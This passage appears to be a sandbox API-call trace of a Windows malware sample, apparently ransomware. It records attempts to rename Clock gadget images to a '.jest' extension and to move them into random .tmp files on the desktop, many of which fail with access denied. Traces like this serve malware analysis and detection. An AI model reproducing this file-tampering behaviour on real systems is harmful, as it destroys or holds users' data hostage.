(lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lon9krtqwwzocht4f_vlppwsuc5lflybdnjs8dg3zysk0eurrn_l pwpsah9ci5rtmq_ugrvmwirsbhl-lr6gx-vymfdyks199vm.tmp")) returned 0 [0125.855] GetLastError () returned 0x5 [0125.855] GetLastError () returned 0x5 [0125.855] SetLastError (dwErrCode=0x5) [0125.855] GetLastError () returned 0x5 [0125.855] SetLastError (dwErrCode=0x5) [0125.855] GetLastError () returned 0x5 [0125.855] SetLastError (dwErrCode=0x5) [0125.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.855] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.856] GetFullPathNameA (in: lpFileName="lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp", lpFilePart=0x18e6e4*="lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp") returned 0x8e [0125.856] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x394e4f6c, cFileName="krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.856] GetLastError () returned 0x2 [0125.856] GetLastError () returned 0x2 [0125.856] SetLastError (dwErrCode=0x2) [0125.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.856] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.856] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.857] GetLastError () returned 0x0 [0125.857] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.857] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.857] GetLastError () returned 0x0 [0125.857] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.857] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.857] GetTickCount () returned 0x1151ea8 [0125.857] GetTickCount () returned 0x1151ea8 [0125.857] GetTickCount () returned 0x1151ea8 [0125.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.857] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.857] GetTickCount () returned 0x1151ea8 [0125.857] IsWindowVisible (hWnd=0x30268) returned 0 [0125.857] Sleep (dwMilliseconds=0x0) [0125.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.858] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.858] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png.jest")) returned 0 [0125.859] GetLastError () returned 0x5 [0125.859] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹳湰g") returned 0x4f [0125.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.859] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹳湰g") returned 0x4f [0125.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x14cf144, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png") returned 80 [0125.859] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹳湰⹧敪瑳") returned 0x54 [0125.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.859] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹳湰⹧敪瑳") returned 0x54 [0125.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=85, lpWideCharStr=0x144bb04, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png.jest") returned 85 [0125.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", lpUsedDefaultChar=0x0) returned 80 [0125.859] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", lpFilePart=0x18e6d8*="flower_s.png") returned 0x4f [0125.859] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x78, dwReserved1=0x0, cFileName="flower_s.png", cAlternateFileName="")) returned 0x143ce48 [0125.859] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.860] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.860] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2dd)) [0125.860] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2dd)) [0125.860] GetUserDefaultLCID () returned 0x409 [0125.860] VarBstrFromR4 (in: fltIn=0x479444de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.73") returned 0x0 [0125.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="§") returned 1 [0125.860] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.860] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.860] GetTickCount () returned 0x1151ea8 [0125.860] GetTickCount () returned 0x1151ea8 [0125.860] GetTickCount () returned 0x1151ea8 [0125.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.860] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.860] GetTickCount () returned 0x1151ea8 [0125.861] IsWindowVisible (hWnd=0x30268) returned 0 [0125.861] Sleep (dwMilliseconds=0x0) [0125.862] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.863] GetFullPathNameA (in: lpFileName="nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp", lpFilePart=0x18e708*="nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp") returned 0x8e [0125.863] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png", lpFilePart=0x18e708*="flower_s.png") returned 0x4f [0125.863] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nsof7ytjfspv4_buvoz5a-r9osqepkqdo 7b72vnhjrm vusuqi5ol3laakoxrgghrvwcz8zljhgm-8r_olx-ehe00bdpq4tic-f.tmp")) returned 0 [0125.863] GetLastError () returned 0x5 [0125.863] GetLastError () returned 0x5 [0125.863] SetLastError (dwErrCode=0x5) [0125.863] GetLastError () returned 0x5 [0125.863] SetLastError (dwErrCode=0x5) [0125.863] GetLastError () returned 0x5 [0125.863] SetLastError (dwErrCode=0x5) [0125.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.863] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.864] GetFullPathNameA (in: lpFileName="nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp", lpFilePart=0x18e6e4*="nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp") returned 0x8e [0125.864] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nSOf7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x664f536e, cFileName="7YTjFspv4_BUVoZ5a-R9oSQePKqDO 7B72vnhJRm vusUqi5oL3LAaKOxrGgHRvWCz8zLjHGm-8R_oLX-EHE00BdPQ4tIC-f.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.864] GetLastError () returned 0x2 [0125.864] GetLastError () returned 0x2 [0125.864] SetLastError (dwErrCode=0x2) [0125.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.864] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.864] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.864] GetLastError () returned 0x0 [0125.865] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.865] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.865] GetLastError () returned 0x0 [0125.865] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.865] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.865] GetLastError () returned 0x0 [0125.865] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.865] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.865] GetLastError () returned 0x0 [0125.866] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.866] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.866] GetTickCount () returned 0x1151ea8 [0125.866] GetTickCount () returned 0x1151ea8 [0125.866] GetTickCount () returned 0x1151ea8 [0125.866] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.866] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.866] GetTickCount () returned 0x1151ea8 [0125.866] IsWindowVisible (hWnd=0x30268) returned 0 [0125.866] Sleep (dwMilliseconds=0x0) [0125.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.867] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.868] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png.jest")) returned 0 [0125.910] GetLastError () returned 0x5 [0125.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥⹮湰g") returned 0x4d [0125.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0125.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥⹮湰g") returned 0x4d [0125.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x14cf24c, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png") returned 78 [0125.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥⹮湰⹧敪瑳") returned 0x52 [0125.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0125.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥⹮湰⹧敪瑳") returned 0x52 [0125.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=83, lpWideCharStr=0x14c2ea4, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png.jest") returned 83 [0125.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", lpUsedDefaultChar=0x0) returned 78 [0125.910] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", lpFilePart=0x18e6d8*="modern.png") returned 0x4d [0125.911] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x78, dwReserved1=0x0, cFileName="modern.png", cAlternateFileName="")) returned 0x143ce48 [0125.911] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.912] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.912] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x30c)) [0125.912] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x30c)) [0125.912] GetUserDefaultLCID () returned 0x409 [0125.912] VarBstrFromR4 (in: fltIn=0x479444e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.78") returned 0x0 [0125.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="©") returned 1 [0125.913] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.914] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.914] GetTickCount () returned 0x1151ed7 [0125.914] GetTickCount () returned 0x1151ed7 [0125.914] GetTickCount () returned 0x1151ed7 